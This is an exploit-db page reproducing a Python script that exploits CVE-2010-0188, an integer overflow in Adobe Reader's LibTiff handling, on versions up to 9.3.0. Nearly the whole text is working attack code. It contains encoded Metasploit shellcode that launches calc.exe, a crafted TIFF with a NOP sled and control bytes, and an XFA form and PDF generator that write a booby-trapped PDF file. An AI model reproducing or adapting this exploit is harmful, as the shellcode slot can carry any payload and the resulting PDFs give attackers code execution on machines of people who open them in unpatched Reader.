Adobe Reader PDF – LibTiff Integer Overflow Code Execution

  • 作者: villy
    日期: 2010-03-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/11787/
  • __doc__='''
    
    Title: Adobe PDF LibTiff Integer Overflow Code Execution.
    Product: Adobe Acrobat Reader
    Version: <=8.3.0, <=9.3.0
    CVE: 2010-0188
    Author: villy (villys777 at gmail.com)
    Site: http://bugix-security.blogspot.com/
    Tested : succesfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP(SP2,SP3)
    ------------------------------------------------------------------------
    '''
    import sys
    import base64
    import struct
    import zlib
    import StringIO
    
    SHELLCODE_OFFSET=0x555
    TIFF_OFSET=0x2038
    
    # windows/exec - 227 bytes
    # http://www.metasploit.com
    # Encoder: x86/shikata_ga_nai
    # EXITFUNC=process, CMD=calc.exe
    buf = "\x2b\xc9\xd9\xc0\xd9\x74\x24\xf4\x5e\xb1\x33\xba\xd9\xb4"
    buf += "\x0a\xbe\x31\x56\x15\x03\x56\x15\x83\x1f\xb0\xe8\x4b\x63"
    buf += "\x51\x65\xb3\x9b\xa2\x16\x3d\x7e\x93\x04\x59\x0b\x86\x98"
    buf += "\x29\x59\x2b\x52\x7f\x49\xb8\x16\xa8\x7e\x09\x9c\x8e\xb1"
    buf += "\x8a\x10\x0f\x1d\x48\x32\xf3\x5f\x9d\x94\xca\x90\xd0\xd5"
    buf += "\x0b\xcc\x1b\x87\xc4\x9b\x8e\x38\x60\xd9\x12\x38\xa6\x56"
    buf += "\x2a\x42\xc3\xa8\xdf\xf8\xca\xf8\x70\x76\x84\xe0\xfb\xd0"
    buf += "\x35\x11\x2f\x03\x09\x58\x44\xf0\xf9\x5b\x8c\xc8\x02\x6a"
    buf += "\xf0\x87\x3c\x43\xfd\xd6\x79\x63\x1e\xad\x71\x90\xa3\xb6"
    buf += "\x41\xeb\x7f\x32\x54\x4b\x0b\xe4\xbc\x6a\xd8\x73\x36\x60"
    buf += "\x95\xf0\x10\x64\x28\xd4\x2a\x90\xa1\xdb\xfc\x11\xf1\xff"
    buf += "\xd8\x7a\xa1\x9e\x79\x26\x04\x9e\x9a\x8e\xf9\x3a\xd0\x3c"
    buf += "\xed\x3d\xbb\x2a\xf0\xcc\xc1\x13\xf2\xce\xc9\x33\x9b\xff"
    buf += "\x42\xdc\xdc\xff\x80\x99\x13\x4a\x88\x8b\xbb\x13\x58\x8e"
    buf += "\xa1\xa3\xb6\xcc\xdf\x27\x33\xac\x1b\x37\x36\xa9\x60\xff"
    buf += "\xaa\xc3\xf9\x6a\xcd\x70\xf9\xbe\xae\x17\x69\x22\x1f\xb2"
    buf += "\x09\xc1\x5f\x00"
    
    class CVE20100188Exploit:
    	def __init__(self,shellcode):
    		self.shellcode = shellcode
    		self.tiff64=base64.b64encode(self.gen_tiff())
    
    	def gen_tiff(self):
    		tiff ='\x49\x49\x2a\x00'
    		tiff += struct.pack("<L", TIFF_OFSET)
    
    		tiff += '\x90' * (SHELLCODE_OFFSET)
    		tiff += self.shellcode
    		tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET)
    
    		tiff += "\x07\x00\x00\x01\x03\x00\x01\x00"
    		tiff += "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"
    		tiff += "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"
    		tiff += "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"
    		tiff += "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"
    		tiff += "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"
    		tiff += "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00\xF7\x72\x00\x07\x04\x01"
    		tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"
    		tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"
    		tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"
    		tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"
    		tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"
    		tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"
    		tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
    		tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
    		tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
    		tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
    		tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
    		tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
    		tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
    		tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
    		tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
    		tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
    		tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
    		tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"
    		tiff += "\x00\x07"
    		return tiff
    	
    
    	def gen_xml(self):
    		xml= '''<?xml version="1.0" encoding="UTF-8" ?> 
    <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
    <config xmlns="http://www.xfa.org/schema/xci/1.0/">
    <present>
    <pdf>
    <version>1.65</version> 
    <interactive>1</interactive> 
    <linearized>1</linearized> 
    </pdf>
    <xdp>
    <packets>*</packets> 
    </xdp>
    <destination>pdf</destination> 
    </present>
    </config>
    <template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">
    <subform name="topmostSubform" layout="tb" locale="en_US">
    <pageSet>
    <pageArea id="PageArea1" name="PageArea1">
    <contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" /> 
    <medium short="612pt" long="792pt" stock="custom" /> 
    </pageArea>
    </pageSet>
    <subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
    <break before="pageArea" beforeTarget="#PageArea1" /> 
    <bind match="none" /> 
    <field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
    <ui>
    <imageEdit /> 
    </ui>
    </field>
    <?templateDesigner expand 1?> 
    </subform>
    <?templateDesigner expand 1?> 
    </subform>
    <?templateDesigner FormTargetVersion 24?> 
    <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?> 
    <?templateDesigner Zoom 94?> 
    </template>
    <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
    <xfa:data>
    <topmostSubform>
    <ImageField1 xfa:contentType="image/tif" href="https://www.exploit-db.com/exploits/11787/">'''+self.tiff64 +'''</ImageField1> 
    </topmostSubform>
    </xfa:data>
    </xfa:datasets>
    <PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" /> 
    <form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
    <subform name="topmostSubform">
    <instanceManager name="_Page1" /> 
    <subform name="Page1">
    <field name="ImageField1" /> 
    </subform>
    <pageSet>
    <pageArea name="PageArea1" /> 
    </pageSet>
    </subform>
    </form>
    </xdp:xdp>
    
    '''
    		return xml
    
    	def gen_pdf(self):
    		xml = zlib.compress(self.gen_xml())
    		pdf='''%PDF-1.6
    1 0 obj 
    <</Filter /FlateDecode/Length ''' + str(len(xml)) + '''/Type /EmbeddedFile>>
    stream
    ''' + xml+'''
    endstream 
    endobj 
    2 0 obj 
    <</V () /Kids [3 0 R] /T (topmostSubform[0]) >>
    endobj 
    3 0 obj 
    <</Parent 2 0 R /Kids [4 0 R] /T (Page1[0])>>
    endobj 
    4 0 obj 
    <</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P 5 0 R/FT /Btn/TU (ImageField1)/Ff 65536/Parent 3 0 R/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (ImageField1[0])/Rect [107.385 705.147 188.385 709.087]>>
    endobj 
    5 0 obj 
    <</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent 6 0 R/Type /Page/PieceInfo null>>
    endobj 
    6 0 obj 
    <</Kids [5 0 R]/Type /Pages/Count 1>>
    endobj 
    7 0 obj 
    <</PageMode /UseAttachments/Pages 6 0 R/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm 8 0 R/Type /Catalog>>
    endobj 
    8 0 obj 
    <</DA (/Helv 0 Tf 0 g )/XFA [(template) 1 0 R]/Fields [2 0 R]>>
    endobj xref
    trailer
    <</Root 7 0 R/Size 9>>
    startxref
    14765
    %%EOF'''
    		return pdf
    
    
    if __name__=="__main__":
    	print __doc__
    	if len(sys.argv) != 2:
    		print "Usage: %s [output.pdf]" % sys.argv[0]
    
    	print "Creating Exploit to %s\n"% sys.argv[1]
    	exploit=CVE20100188Exploit(buf)
    	f = open(sys.argv[1],mode='wb')
    	f.write(exploit.gen_pdf())
    	f.close()
    	print "[+] done !"